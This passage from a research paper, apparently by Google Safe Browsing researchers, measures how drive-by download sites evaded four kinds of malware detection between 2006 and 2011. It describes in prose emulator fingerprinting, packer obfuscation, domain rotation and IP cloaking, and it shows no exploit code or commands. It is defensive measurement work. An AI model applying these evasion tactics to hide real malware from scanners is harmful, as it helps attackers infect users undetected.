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ABSTRACT
Malicious web sites that compromise vulnerable computers are an
ever-present threat on the web. The purveyors of these sitesare
highly motivated and quickly adapt to technologies that tryto pro-
tect users from their sites. This paper studies the resulting arms race
between detection and evasion from the point of view of Google’s
Safe Browsing infrastructure, an operational web-malwaredetec-
tion system that serves hundreds of millions of users. We analyze
data collected over a four year period and study the most popular
practices that challenge four of the most prevalent web-malware
detection systems:Virtual Machine client honeypots, Browser Em-
ulator client honeypots, Classification based on domain reputation,
andAnti-Virus engines. Our results show that none of these systems
are effective in isolation. In addition to describing specific meth-
ods that malicious web sites employ to evade detection, we study
trends over time to measure the prevalence of evasion at scale. Our
results indicate that exploit delivery mechanisms are becoming in-
creasingly complex and evasive.

1. INTRODUCTION
Malicious web sites capable of compromising vulnerable com-

puters have been on the rise for many years. As web pages have
become more interactive and feature-rich, the complexity of the
browser and the software components involved in rendering web
content has increased significantly. Over the last few years, almost
any browser including support for technologies such as Flash, Java,
PDF or QuickTime has been susceptible to so calleddrive-by down-
load attacks that allow adversaries to run arbitrary software ona
vulnerable computer system.

The difficulty of discovering malware on the web is amplified
by the fundamental conflict between those who identify and block
malicious content and those who attempt to evade detection to dis-
tribute malware. The resulting arms race has led to many novel
approaches for identifying web-based malware. Despite this inter-
est, there has been no dedicated study analyzing whether evasion
techniques are effective, and more importantly, whether they are
being actively pursued to stealthily distribute malware. This paper
seeks to answer these questions.

We study four years of data collected by Google’s web-malware
detection systems, which leverages four of the most popularweb-
malware detection technologies:Virtual Machine client honeypots,
Browser Emulator client honeypots, Classification based on do-
main reputation, andAnti-Virus engines. Our analysis reveals that
adversaries actively try to evade each of these systems. Despite
this, our results indicate that combining multiple types ofclient
honeypots can improve detection rates.

∗Research conducted as an intern at Google.

This paper makes the following contributions: (1) an analysis of
the prevalence and impact of different evasion techniques against
the four most popular web malware detection systems. (2) an eval-
uation that shows how these detection systems complement each
other to improve detection rates. (3) an investigation of the com-
plexity of JavaScript on the web and how it relates to evasion. (4)
a study of which vulnerabilities have been targeted by web-based
malware and measure how this makeup has changed over time.
Our analysis raises awareness about the evasive tactics that must
be considered when developing operational web malware detection
systems.

2. BACKGROUND
The attack surface of the modern web browser is quite large.

Web-based malware can target vulnerabilities in the browser itself,
or against the myriad of plugins that extend the browser to han-
dle, for example, Flash, Java applets, or PDF files. A vulnerability
in any of these components may be leveraged to compromise the
browser and the underlying operating system. As a prerequisite to
exploiting a user, an adversary needs to expose the user’s browser
to malicious payloads. This can be achieved by sending an email or
IM to the user containing a URL to a malicious server, or by com-
promising web servers and injecting references to malicious code
into the content served to users [17].

Many different approaches for detecting malicious web content
have been proposed. In the following we review the most preva-
lent: Virtual Machine Honeypots, Browser Emulation Honeypots,
Classification based on Domain Reputation, and Virus Signatures.

Virtual Machine Honeypots. Several VM-based detection sys-
tems have been proposed in the literature [10, 16, 15, 19, 9].They
typically detect exploitation of the web browser by monitoring changes
to the operating system, such as the creation of new processes, or
changes to the file system or registry. Here, the virtual machine
functions as a black box since no prior knowledge of vulnerabili-
ties or exploit techniques is required.

HoneyMonkey [19] launches Internet Explorer against a URL
and after waiting for several minutes determines if suspicious file
system changes were made. To detect zero-day exploits, the same
URL is evaluated in Windows systems with different patch levels.
Moshchuk et al. [10] went further in that their system also looked
for newly created processes as well as file system writes not initi-
ated by the browser. In previous work [16], we demonstrated that
VM-based web-malware detection could be scaled to scan a large
portion of the web and presented statistics on over3 million drive-
by download URLs.

While virtual machines run a complete software system and may
detect exploits of yet unknown vulnerabilities, preciselydetermin-
ing what resource triggered the exploit or which vulnerability was



targeted may be difficult. Additionally, managing multipleVM im-
ages with different combinations of exploitable software compo-
nents can be an arduous task. Browser emulation has been pro-
posed to address these shortcomings.

Browser Emulation. Instead of deploying VM honeypots, one can
emulate a browser and use dynamic analysis to identify exploits.
JSAND by Cova et al. [3] follows this approach and emulates a
browser to extract features from web pages that indicate malicious
behavior. PhoneyC [13] is another Browser Emulator. It includes
support for JavaScript and VBScript as well as the ability toin-
stantiate fake ActiveX objects. Modules with signatures for known
vulnerabilities allow PhoneyC to detect exploits against plugins.

Browser emulators can pinpoint the exploited vulnerability and
even establish a chain of causality including every single web re-
quest involved in a drive-by download. On the other hand, emula-
tors cannot detect exploit attempts against unknown vulnerabilities
and must be updated to handle quirks in mainstream browsers as
they are discovered.

Reputation Based Detection. In the absence of malicious pay-
loads, it is possible to take a content-agnostic approach toclassify
web pages based on the reputation of the hosting infrastructure.
Felegyhazi et al. leverage DNS properties to predict new malicious
domains based on an initial seed [4]. Lee et al. developed Notos, a
dynamic reputation system for DNS, that can flag domains as mali-
cious weeks before they appear on public blacklists [1]. Although
Notos is not meant for detecting malicious web pages, a similar
approach can be followed by flagging pages that include resources
that are hosted on malicious domains.

Signature Based Detection.Traditional Anti-Virus (AV) systems
operate by scanning payloads for known indicators of malicious-
ness. These indicators are identified by AV signatures, which must
be continuously updated to identify new threats. Typically, packed
executables or HTML must be unpacked before performing match-
ing. For web pages, this might involve HTML parsing or rudimen-
tary JavaScript execution. If unpacking is not possible, AVengines
may flag a binary as malicious solely by detecting the presence of
the packer. For JavaScript, AVs focus on detecting the presence of
heavy obfuscation. Oberheide et al. showed that combining multi-
ple AV engines can significantly improve the detection rate [14].

3. EVADING DETECTION
In Section 2, we discussed different approaches for detecting ma-

licious web pages. Just as these approaches are being improved, ad-
versaries are becoming more skilled at hiding malicious content. To
better understand how adversaries attempt to stay under theradar,
we present an overview of common tactics that we encounter.

Social engineering has emerged as a growing malware distribu-
tion vector [18]. In social engineering attacks, the user isasked to
install a malware binary under false pretenses. Social engineering
attacks challenge automated detection systems by requiring arbi-
trarily complex interaction before delivering the payload; interac-
tion that can be difficult to simulate algorithmically.

Attacks that target specific software configurations can also chal-
lenge VM honeypots that employ a VM image with a different OS,
browser, or set of plugins. Even if one deploys multiple VM images
with different software components, selecting the image toscan a
target page is challenging [3], and resource limitations might re-
duce the number of times a page can be scanned with different con-
figurations.

To evade browser emulators, AV engines, or manual analysis,
adversaries can test for idiosyncratic properties of the browser and

only reveal exploit code if the test passes. Often, this is built into
packers that fail to deobfuscate malicious payloads if certain con-
ditions are not met. While the set of potential differences between
emulators and real browsers is large, we have found that tests typ-
ically fall into three high-level categories:JavaScript Environment
Compatibility, Parser Compatibility, andDOM Completeness.

In the case of an IE-specific exploit, code can probe the JavaScript
Environment for differences between IE’s proprietary JavaScript
engine and open source JavaScript engines [12, 11, 5], whichare
more likely employed by emulators. This typically goes beyond
simply testing for properties in thenavigator object, and fo-
cuses instead on more arcane differences, e.g., changes to the DOM
caused by CSS, which are typically not implemented by emula-
tors that do not need to handle rendering. One can also iden-
tify semantic differences in both JavaScript and HTML parsers,
for instance, IE’s JavaScript parser allows; betweentry and
catch clauses, while other JavaScript parsers do not. Perhaps one
of the most challenging properties to emulate is the DOM of the
browser, especially when accounting for the bugs exhibitedby dif-
ferent browsers’ DOM implementations. For instance, IE6 and IE7
will add extra nodes to the DOM when encountering incorrectly
formed HTML. Concrete examples of each of these phenomena
can be found in Appendix A.

While adversaries often turn to elaborate technical constructs to
evade detection, a simple yet powerful approach is to cloak against
scanners by serving malicious content to users but benign content
to the detector. While there are many forms of cloaking, in this
paper we focus on arguably the most simple and effective approach:
cloaking at the IP level. To do so, malicious servers simply refuse
to return malicious content to requests from certain IP addresses.

4. EXPERIMENTAL SETUP
The goal of this paper is to measure forms of circumvention de-

scribed in Section 3 and determine whether the use of evasivetac-
tics has increased over the last several years. To do so, we analyze
the data collected by Google’s Safe Browsing infrastructure [16], a
large-scale web malware detection system. The data generated by
this system is used by more than400 million users per week and is
therefore the target of many forms of evasion. Moreover, thesys-
tem classifies sites using VM-based client honeypots, a Browser-
Emulator, Signature-based AV engines, and Domain Reputation,
and is thus ideal for evaluating how evasion affects each of these
popular technologies.

4.1 System Overview
The malware detection pipeline takes as input a large corpusof

URLs from a variety of sources. For example, we select URLs from
Google’s web index using both random sampling and a machine
learning classifier that is tuned to identify pages that likely contain
malware [16]. We also sample URLs that match trending search
queries, as well as user-reported URLs. The selection criteria for
the data has not changed significantly over the course of our study.

Each URL is fed to a VM-based honeypot, which browses to the
URL with an unpatched version of Internet Explorer that has pop-
ular plugins and runs on an unpatched Windows OS. The system
records host and network activity, including new processes, file sys-
tem changes, registry changes, and network fetches. All network
fetches and system state changes are stored in a Bigtable [2]for
post processing.

Once a VM has processed a URL, a scoring module,PageScorer,
analyzes the saved content to identify malicious behavior.First, all
network fetches are scanned by multiple AV engines and matched
against an internal list of domains that are known to serve malicious
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Figure 1: The diagram shows a high-level overview of Google’s
web-malware detection system. VMs collect data from web
pages and store it in a database for analysis.PageScorer lever-
ages multiple scorers to determine if a web page is malicious.

content; see Section 4.1.2. Next,PageScorer instructs a Browser
Emulator to reprocess the content that was retrieved by the VM
to identify exploits. The Browser Emulator uses the stored con-
tent as a cache and thus does not make any network fetches; see
Section 4.1.1. Finally,PageScorer uses a decision tree classifier
to combine the output of the VM, AV Engines, Reputation Scorer,
and Browser Emulator to determine whether the page attempted
to exploit the browser; see Figure 1. The output ofPageScorer,
including whether the page caused new processed to be spawned,
whether it was flagged by AV engines, which exploits it contained,
and whether it matched Domain Reputation data, is stored along
with the original data from the VM for future analysis.

A description of our VM-based honeypots and AV engine inte-
gration has been previously published [16, 17]. Since then we have
added Browser Emulation and a Domain Reputation pipeline which
we briefly summarize below to familiarize the reader with thedata
collection process.

4.1.1 Browser Emulation
Our Browser Emulator is a custom implementation similar to

other mainstream emulators including PhoneyC [13] and JSAND [3].
We thus believe that its performance is representative of Browser
Emulators in general.

Briefly, the Browser Emulator is built on top of a custom HTML
parser and a modified open-source JavaScript engine. It constructs
a DOM and event model that is similar to Internet Explorer. Toen-
sure a faithful representation of IE, we have modified all parsers to
handle IE-specific constructs; for examples, see Appendix A. The
Emulator detects exploits against both the browser and the plug-ins
by monitoring calls to known-vulnerable components, as well as
monitoring DOM accesses.

The emulator can also perform fine-grained tracing of JavaScript
execution. When running in tracing mode, it records every function
call and the arguments to those calls, e.g. we record which DOM
functions were called and which arguments were passed to them.
This allows for more detailed analysis of exploitation techniques,
which we explore later in the paper.

4.1.2 Domain Reputation
The domain reputation pipeline runs periodically and analyzes

the output of AV engines and the Browser Emulator to determine
which sites are responsible for launching exploits and serving mal-
ware. We call these sitesDistribution Domains. The pipeline em-
ploys a decision-tree classifier to decide whether a site is adistribu-
tion domain. Features include, for example, whether we haveseen

the site deliver an exploit during a drive-by download.
In addition to assessing whether a domain is serving malware,

the classifier also examines network requests to that domainfrom
IP addresses not associated with our organization. This allows us to
determine whether domains are cloaking against our system at the
network level. We call such domainsCloaking Domains, they are
domains that distribute malware and also actively try to evade de-
tection. Distribution and Cloaking Domains make up our Domain
Reputation data, which is fed back intoPageScorer to improve de-
tection rates for drive-by downloads.

4.2 Data Collection
In order to study evasion trends we leverage two distinct data

sets. The first set,Data Set I, is the data that is generated by our
operational pipeline, i.e., the output ofPageScorer. It was gener-
ated by processing∼ 1.6 billion distinct web pages collected be-
tween December 1, 2006 and April 1, 2011. This data is useful for
studying trends that we observe in real time. The limitationwith
this data is that we continuously tweak our algorithms to improve
detection, thus any trends observed fromData Set I could be due
to either changes in the web pages that we are processing, or to
improvements to our algorithms. To eliminate this uncertainty, we
introduce our second data set,Data Set II.

Data Set II is created as follows. First, we select a group of
pages fromData Set I. We sample pages from the time period be-
tween December 1, 2006 and October 12, 2010 that were marked
as suspicious by the VM-based honeypot, the Browser Emulator,
the AV scanners, or our Reputation data. Note that this does not
meanPageScorer classified these pages as malicious. For exam-
ple, if an AV engine flagged a page but the other scoring com-
ponents did not, then the page would not be classified as bad by
PageScorer, but it would be added to the sample. In this way the
sample includes every bad page that our pipeline processed over
the four year period, as well as some other “suspicious” pages. In
addition to these pages, our sample also includes 1% of other“non-
suspicious” pages selected uniformly at random from the same time
period.

For each of these pages, werescorethe original HTTP responses
and VM state changes that were stored in our database using a fixed
version ofPageScorer from the end of October, 2010. This version
consisted of algorithms and data files, including AV signature files,
from the end of the data collection period. By fixing the scorer we
ensure that any observable trends are due to changes in the data,
and are not due to the evolution of our algorithms. The outputof
this rescore comprisesData Set II.

In sum,Data Set II consists of∼160 million distinct web pages
from ∼8 million sites. We enabled JavaScript tracing on a subset
of this data, comprising∼75 million web pages from∼5.5 million
distinct sites.

In this paper the termsite refers to a domain name unless the
domain corresponds to a hosting provider. In the latter case, dif-
ferent host names are indicative of separate content owners, so we
take the host name as the site. For example,http://www.cnn.
com/ and http://live.cnn.com/ both correspond to the
sitecnn.com, whereashttp://foo.blogspot.com/page1.
html andhttp://bar.blogspot.com/page2.html are
mapped tofoo.blogspot.com andbar.blogspot.com, re-
spectively. Throughout this paper we provide statistics atthe site
level, and aggregate data by month. We do this to avoid skew that
could occur if our sampling algorithm selected many pages from
the same site. For example, if the system encountered exploits in a
given month on two URLs that belong to the same site, we count
only one exploit.
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Figure 2: The graph shows the total number of sites per month
in Data Set II. The large spike in 2008 is due to the unexpected
appearance of a benign process that caused many more pages
to be included in our analysis during that time.

Figure 2 shows the number of sites inData Set II for each month,
both with and without JavaScript tracing, along with the total num-
ber of sites containing pages that were marked as drive-by down-
loads inData Set II. The large spike in the fall of 2008 is due
to a misconfiguration inPageScorer, which mistakenly labeled a
benign process as malicious. This did not result in any misclassi-
fication at the time since no other scanners produced corroborating
signals. Our results are also unaffected by the misconfiguration be-
cause it was fixed before we reclassified the data. Ignoring the out-
lier, on average the data set consists of∼387, 000 sites per month,
of which∼257, 000 launched drive-by downloads and∼170, 000

were processed with JavaScript tracing enabled.
Our data set comes with some caveats. First, we are measuring

the trends observed by our systems. If we never observed mali-
cious behavior from a given malware campaign, then the results
are not included in our study. We believe, however, that Google
Safebrowsing’s position provides a useful vantage point into mal-
ware on the web. Second, results derived fromData Set II can-
not be compared to real-time performance of other technologies.
Data Set II is generated using data, e.g., AV signatures, and al-
gorithms that might not have been available when the pages were
originally encountered. Third, while reclassifying pagesto create
Data Set II ensures that modifications to our algorithms do not cre-
ate artificial trends, the pages that compriseData Set II were se-
lected because they originally exhibited suspicious behavior as de-
termined byPageScorer. To alleviate the impact of this potential
bias, we add a 1% random sample, constituting∼80 million URLs,
as well as include pages that were originally classified as suspi-
cious, but not malicious. This ensures thatData Set II includes
pages that our algorithms may have missed in the past. Fourth,
we believe that false positives are rare in our data set. Thisis dif-
ficult to quantify in an operational setting, but in our experience,
based on internal analysis, reports from users, web masters, and
StopBadware.org/, the system generates negligible false pos-
itives. Over four years of operation we have had fewer than a hand-
ful of incidents causing false positives.

5. TRENDS IN EVASION
In Section 3 we discussed the possible ways in which malicious

web pages can be designed to resist detection. This section ana-
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Figure 3: The graph shows the number of sites involved in So-
cial Engineering attacks compared to all sites hosting malware
or exploits.

lyzes the data generated by the detection infrastructure described
in Section 4. We assess the extent to which techniques that hinder
automatic detection are employed by adversaries on the Internet.
We focus on the challenges that face each of the four detection
techniques, and discuss potential measures to adapt to the various
challenges.

5.1 Challenges for VM-based Detection
As mentioned earlier, social engineering is an emerging attack

trend that could potentially limit the effectiveness of VM-based de-
tection schemes. To measure whether adversaries employ social en-
gineering techniques, we analyzedData Set II with heuristics [18]
to identify pages that were likely generated from templatesem-
ployed by Fake AV campaigns. Figure 3 shows the number of so-
cial engineering sites detected monthly relative to all sites involved
in distributing malware or exploits. The prevalence of social en-
gineering has increased over the last four years. Although regular
malware sites still constitute about98% of all distribution sites, we
see an increase in the number of sites employing social engineer-
ing. In January 2007, there was only one site distributing Fake AV,
whereas by September, 2010 this number increased to4, 230.

One example of user interaction frequently found on Fake Anti-
Virus pages is a dialog that requires a mouse click before a mal-
ware binary is sent to the browser. This can be a dialog from the
system, or a dialog simulated by the web page with images or CSS.
To assess the extent to which malware authors have adopted this
technique, we instrumented our operational VM system to initiate
mouse clicks on the current web page. We then evaluated each
social engineering site twice: once without any interaction and an-
other time with mouse clicking enabled. We examined a subsetof
210, 000 pages fromData Set I from October 1, 2010 to April 1,
2011 and compared the percentage of malware downloads in both
cases. With clicking enabled, we measured a40% increase of mal-
ware binaries downloaded by the VMs.

There are several possible explanations for the increasingpopu-
larity of social engineering attacks: (1) These attacks aresuccessful
even if no exploitable vulnerabilities are present in the browser en-
vironment; (2) For Fake AV, social engineering provides a direct
route to monetization; (3) Social engineering attacks makeVM-
based detection harder since malicious payloads appear only af-
ter user interaction with the browser. The first explanationseems



Figure 4: The heat map shows the relative distribution of ex-
ploits encountered on the web over time. Every second CVE is
labeled on the Y-axis.

less likely as exploitable vulnerabilities were present inall versions
of Internet Explorer and popular plugins during the course of our
study. Regardless of the motive, social engineering poses achal-
lenge to VM-based honeypots must be accounted for.

Countermeasures.These results show that VM honeypots without
user interaction may not detect web pages distributing malware via
social engineering. In addition to simulating user interacting with
the VM, one can also improve detecting by pursuing a signature
based approach [18].

5.2 Browser Emulation Circumvention
We hypothesize that drive-by download campaigns primarilyem-

ploy two tactics to circumvent Browser Emulation: rapid incorpo-
ration of zero-day exploits, and heavy obfuscation that targets dif-
ferences between the emulator and a browser. We consider both in
this section.

Exploit Trends. Once a vulnerability becomes public, it is quickly
integrated into exploit kits. As a result, Browser Emulators need
to be updated frequently to detect new vulnerabilities. To highlight
the changing nature of exploitation on the web, we show the rela-
tive prevalence of each of the 51 exploits identified by our Browser
Emulator inData Set II in Figure 4. We see that 24 exploits are rel-
atively short lived and are often replaced with newer exploits when
new vulnerabilities are discovered. The main exception to this is
the exploit of the MDAC vulnerability which is part of most exploit
kits we encounter and represented by the dark line at the bottom of
the heat map. This data highlights an important opportunityfor
evasion. Each time a new exploit is introduced, adversarieshave a
window to evade Browser Emulators until they are updated. Ofthe
51 exploits that we tracked, the median delay between publicdis-
closure1 and the first time the exploit appeared inData Set II was
20 days. However, many exploits appear in the wild even before the
corresponding vulnerability is publicly announced. Table1 shows
the 20 CVEs that have the shortest delay between public announce-
ment and when the exploit appeared inData Set II.

Obfuscation. To thwart a Browser Emulator, exploit kits typically
wrap the code that exercises the exploit in a form of obfuscation

1As recorded athttp://web.nvd.nist.gov/.

CVE # ∆ days CVE # ∆ days
2008-3008 4 2008-0015 -3
2009-4324 2 2007-5779 -3
2008-2463 2 2007-3148 -3
2008-0955 2 2008-1472 -6
2007-4983 2 2010-0886 -7
2009-0075 1 2009-3672 -10
2010-2883 0 2007-5064 -35
2010-1818 0 2009-2496 -36
2010-0806 -3 2007-6144 -87
2008-0623 -3 2008-6442 -242

Table 1: Number of days after public release of vulnerability
(∆ days) that exploits were seen inData Set II. Negative num-
bers indicate that the exploit was seen before public release.

that may not execute correctly in an emulated environment, but
will work correctly in a real browser. This generally results in
complex run-time behavior. To measure whether adversariesare
turning to such techniques we examined the data that was gener-
ated with JavaScript tracing enabled inData Set II and computed
three different complexity measures:

• Number of function callsmeasures the number of JavaScript
function calls made in a trace.

• Length of strings passed to function callsmeasures the sum
of the lengths of all strings that are passed to any user-defined
or built in JavaScript function.

• DOM Interactionmeasures the total number of DOM meth-
ods called and DOM properties referenced as the JavaScript
executes.

We first consider the number of JavaScript function calls made
when evaluating a page. To establish a baseline we counted the
number of function calls made during normal page load for each
of the benign web pages inData Set II. We also counted the num-
ber of function calls made before delivering the first exploit for
each of the malicious pages in ourData Set II. As our analysis is
based on sites rather than individual web pages, we compute the
average value for sites on which we encounter multiple web pages
in a given month. While sites with exploits are less frequentthan
benign sites, our analysis finds between∼50 and∼150 thousand
unique sites containing exploits per month with the exception of
the first few months in 2007 where the overall number of analyzed
sites is smaller.

Figures 5 and 6 show the20%, 50% and80% quantiles for the
number of function calls for both benign and malicious web sites.
In Figure 5, we see an order of magnitude increase in the number of
JavaScript function calls for benign sites. Figure 6 shows achange
of over three orders of magnitude for the median for sites that de-
liver exploits. At the beginning of 2007, we observed about20

JavaScript function calls, but the number of function callsjumped
to∼7, 000 in 2008, and again to70, 000 in December 2009.

The number of JavaScript function calls in Figure 6 exhibitssev-
eral distinct peaks and valleys. These can be explained by two phe-
nomena. First, certain exploits require setup that employsmore
function calls than others. The decrease in number of function
calls in Autumn 2008, and again in the end of 2010 correspond
to the increasing prevalence of exploits against RealPlayer (CVE-
2008-1309) and a memory corruption vulnerability in IE (CVE-
2010-0806). The proof-of-concept exploits that were wrapped into
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Figure 5: The graph shows the number of JavaScript function
calls for benign web sites. Over the measurement period, we
observe an order or magnitude increase for the median.
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Figure 6: The graph shows the number of JavaScript function
calls for web sites with exploits. We count only the function
calls leading up to the first exploit. We observe an increase of
over three orders of magnitude for the median over the mea-
surement period.
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Figure 7: The graph shows the string length complexity mea-
sure on benign pages.
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Figure 8: The graph shows the string length complexity mea-
sure on pages with exploits.

exploit kits made few function calls, spraying the heap withsimple
string concatenation. However, the increased count at the begin-
ning of 2009 and early 2010 correspond to exploits targetingtwo
other memory corruption bugs in IE, CVE-2009-0075, and CVE-
2010-0249. The proof-of-concept for these exploits prepared mem-
ory by allocating many DOM nodes with attacker controlled data,
and thus required many function calls to launch the exploit,see
Appendix C and D for example source code.

The second phenomenon that explains the general upward trend
is the appearance of new JavaScript packers that obfuscate code
using cryptographic routines such as RSA and RC4, which make
many function calls. To trigger an exploit, it is usually notneces-
sary to call many functions. For example, our system encountered
exploits for CVE-2010-0806 for the first time in March 2010. At
that time, the median number of functions calls to exploit the vul-
nerability was only7, whereas the median rose to813 in July 2010.
Thus we attribute the rise in complexity to obfuscation meant to
thwart emulation or manual analysis.

Next we consider the total string length complexity measure. See

Figures 7 and 8 for this metric on benign and malicious pages,re-
spectively. As with the number of function calls, we see a gen-
eral upward trend. We believe these trends are influenced more by
packers than by choice of exploit. The reason for this is thatheap
sprays generally do not pass long strings to method calls; more of-
ten they concatenate strings or add strings to arrays. Thus,these
trends measure changes in packers over time. Clearly, as thesize
of exploit kits and the complexity of packing algorithms grow, so
does the total amount of data that must be deobfuscated.

Another way to assess the complexity of JavaScript is to deter-
mine which DOM functions are called before reaching an exploit.
This measurement captures obfuscation that probes the implemen-
tation of a Browser Emulator for completeness. We instrumented
our JavaScript engine to record the usage of34 DOM functions and
properties that are commonly used or involved in DOM manipula-
tions, see Appendix E. We then compute the relative frequency of
these calls for both benign pages, and pages that deliver exploits.
Figures 9 and 10 show heat maps plotting the relative frequencies
of each DOM function or property. The darkness of each entry rep-



Figure 9: The heat map shows the DOM functions utilized by
benign web pages over time.

Figure 10: The heat map shows the DOM functions utilized by
exploit JavaScript over time.

resents the fraction of sites that utilize that specific DOM function
or property.

For benign pages, the number of DOM accesses has increased as
the web has become more interactive and feature rich. For benign
web sites, we note that the indices of the most common functions
are3 and13, which refer todocument.body andgetElementById
respectively. DOM access patterns for sites that deliver exploits are
remarkably different as significantly fewer DOM interactions are
found. Two indices,7 and31 stand out. They refer tocreateElement
andsetAttribute respectively. These two functions are em-
ployed to exploit MDAC (CVE-2006-0003) [8] which has been
popular since 2006 and is part of most exploit kits. While Fig-
ure 9 shows that theclearAttributes function is not com-
monly used in benign web pages, we see a sudden increase of it in
exploits in February 2009. This coincides with the public release
of exploits targeting CVE-2009-0075; see Appendix C.

Further examination of this exploit indicates that the delivery
mechanism has been updated over time to exercise an increasing
number of DOM API functions. When the exploit was first re-
leased, it made use of only the three functions that are necessary
to launch the exploit:createElement, clearAttributes,
andcloneNode2. Over time, however, there was a steady uptick
in the number of non-essential DOM functions that were called be-
fore delivering the payload; see Figure 11. Starting in March 2010,
about20% of sites exploiting this vulnerability also make calls to
appendChild and readinnerHTML. In May 2010, more DOM
functions are called to stage the exploit. This change in behavior
indicates that the JavaScript to stage the exploit has become more
complex, likely to thwart analysis.

Countermeasures.The trends in exploitation technique and each
of the complexity measures indicate that the perpetrators of drive-
by download campaigns are devoting significant effort towards evad-
ing detection. In order to keep pace with zero-days and obfuscation
techniques, Browser Emulators should be frequently updated. To
facilitate such updates, it is possible to monitor the system for un-
expected errors or to compare its output to AV engines or a VM
infrastructure to identify potential deficiencies. One could also rely
on these other technologies to address inherent limitations, for in-
stance VM honeypots can be used to detect zero-days. We analyze

2We did not labelcloneNode as a function of interest during our
analysis.

Figure 11: The heat map shows the DOM functions utilized to
exploit CVE-2009-0075. The graph shows that only two DOM
functions are required to trigger the exploit, but that over time
the DOM interactions have become more complex.

the relative performance of our Browser Emulator in Section6.

5.3 AV Circumvention
AV engines commonly use signature-based detection to identify

malicious code. While it is well-known that even simple packers
can successfully evade this approach, we wanted to understand the
impact of evasion techniques at a large scale. Specifically,we mea-
sured two aspects of evasion. First, we studied whether deobfuscat-
ing web content would significantly improve detection rates. Sec-
ond, we studied how often AV vendors change their signaturesto
adapt to both False Positives and False Negatives.

To study the impact of deobfuscation, we leveraged our Browser
Emulator and hooked all methods that allow for dynamic injection
of code into the DOM, e.g., by recording assignment toinnerHTML.
The line labeledDeobfuscatedin Figure 12 shows the percent of
additional sites inData Set II that were flagged by AV engines only
after providing the engines with this injected content. This drasti-
cally improves performance of the AV engines, in some cases by
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Figure 12: The graph shows the monthly percentage of sites
with changing virus signals betweenData Set I andData Set II.

more than 40%.
To study the impact of changes to AV signatures, we compared

our AV classifications for each page inData Set II to its original
classification inData Set I. Figure 12 shows the percentage of
sites with at least one virus signal change. The line labeledAdded
shows the percentage of sites that had AV signals inData Set II but
not inData Set I. As the graph shows, a significant percentage of
sites have new virus signals when they are rescored. These changes
could be due to three causes: (1) delay in signature updates in our
operational environment; (2) AV vendors pruning signatures over
time; and (3) Improvements of AV signatures over time by AV ven-
dors. We believe that the discrepancy is due to (3), since we up-
date our AV signatures every two hours in our operational setting,
and one of our AV vendors confirmed that only the signatures that
cause false positives are pruned. This implies that AV engines can
suffer from significant false negatives in operational settings. Look-
ing back only one year, about40% of the sites with virus signals
were only seen inData Set II. The line labeledRemovedshows the
percentage of sites with pages that were flagged by AV enginesin
Data Set I but not inData Set II. These removals are likely due
to signatures that produced false positives. The general downward
trend for each of the three plots can be explained by the fact that as
we come to the end of the data collection period, the AV signatures
that were used for bothData Set II andData Set I become similar
to one another.

Both of these experiments indicate that while AV vendors strive
to improve detection rates, in real time they cannot adequately de-
tect malicious content. This could be due to the fact that adver-
saries can use AV products as oracles before deploying malicious
code into the wild.

Countermeasures. Our results show that the JavaScript packing
employed by malware distribution sites has a direct impact on the
accuracy of AV scanners and that Signature-based AV detection can
suffer from both false negatives and false positives. Nonetheless,
some procedures can improve detection. To maintain optimumde-
tection, one should continuously update virus definitions.One can
also improve detection by using multiple AV engines. Perhaps the
best way to improve upon AV detection rates is to use them as a
component in a larger system.

5.4 Circumventing Domain Reputation
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Figure 13: The graph shows malware distribution chain length
over time.

Evading classification by Domain Reputation Data simply in-
volves registering more domains to distribute malware. This gener-
ally involves two steps: registering domains en masse, and setting
up redirectors to send traffic to these domains. To measure trends
in registering new domains, we computed the observed lifetime of
distribution domains inData Set II. We estimate a lower bound
for lifetime as the interval between the time the site first appeared
in our data to the last time it appeared in our data. We ignore sites
that appeared only once, or whose life span is less than 10 minutes.
In total we observed∼1.6 million distribution domains, of which
∼ 295, 000 appeared only once, and∼ 330, 000, had a lifespan
of less than 10 minutes. The median lifetime reduced significantly
over our data collection period; from over one month between2007
and 2009, down to one week in July 2010, and down to2 hours in
October 2010.

In addition to domain rotation, adversaries attempt to avoid reputation-
based detection by setting up intermediary sites whose solepurpose
is to funnel traffic to distribution site. Figure 13 shows thelength of
malware distribution chains over time inData Set II. The median
is about one to two domains. Several sites use longer distribution
chains with a90th percentile of about4 hops. The maximum chain
length we observed was20 hops. In many cases, a single redirec-
tor funnels traffic to several distribution sites. We measured the
out-degree of sites involved in these chains and observed that about
35% of intermediary sites redirected to more than one distribution
site. One notable example is a site that, at the time of this writing,
is still active and redirected to over1, 600 malicious sites.

Countermeasures.We observed domain rotation frequently through-
out our study. We believe that this is an attempt to evade reputation-
based signals, or public domain blacklists. Two possible counter-
measures to this type of evasion are: (1) successfully classifying
redirectors as belonging to a campaign; and (2) classifyingaggres-
sively at the IP level. The second countermeasure is complicated
by hosting providers that are typically abused by miscreants, but
also serve legitimate sites.

5.5 IP Cloaking
IP Cloaking can be the most effective form of evasion, since it

thwarts any sort of detection by client honeypots or AV engines.
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Figure 14: The graph shows how many compromised sites in-
clude content from cloaking sites inData Set II

For an adversary, IP-based cloaking is simple to deploy and usually
requires only small changes to the web server’s configuration; see
Appendix B. To understand trends in IP cloaking, we computed
the number of sites that actively cloak against our scannersusing
data fromData Set II. As described in Section 4, this detection is
built into our Domain Reputation pipeline, and involves testing for
content changes from different IP addresses. To measure cloaking
in Data Set II, we aggregated the sites that we had discovered to
cloak against our scanners, and counted how often resourcesfrom
those sites were included by pages inData Set II.

Figure 14 shows the number of sites per month that include con-
tent from domains known to be cloaking. The graph peaks in Au-
gust 2009 at over200, 000 sites infected by cloaking domains. That
peak coincides with a large-scale attack, where thousands of sites
were infected to redirect togumblar.cn, which actively cloaked
our scanners.

Although the increase in the graph is partly due to improved de-
tection of cloaking domains in our system, we believe that itis
representative of the general state of cloaking. In our operational
practice, we continuously monitor compromised web sites and the
malicious resources they include. In 2008, we discovered that some
malware domains no longer returned malicious payloads to our sys-
tem but still did so to users. As a result, we developed detection for
cloaking. At the time of this writing, IP cloaking contributes signif-
icantly to the overall number of malicious web sites found byour
system. See Section 6 for a more detailed analysis.

Countermeasures.Our data indicates that IP-based cloaking has
drastically increased over the lifetime of our data collection. If an
adversary is suspected of cloaking against a set of known IP ad-
dresses, a detector can also initiate scans via a set of IP addresses
unknown to the adversary. Observed differences in these extra
scans likely indicates cloaking. It is important to rate-limit fetches
from the unknown set of IP addresses to limit their visibility to the
adversary. A detector can then establish a feedback loop andbuild
a classifier that leverages the cloaking data to identify pages that
launch drive-by downloads. Instead of generating signals based
on the presence of a VM, Browser Emulator, or AV signals, it is
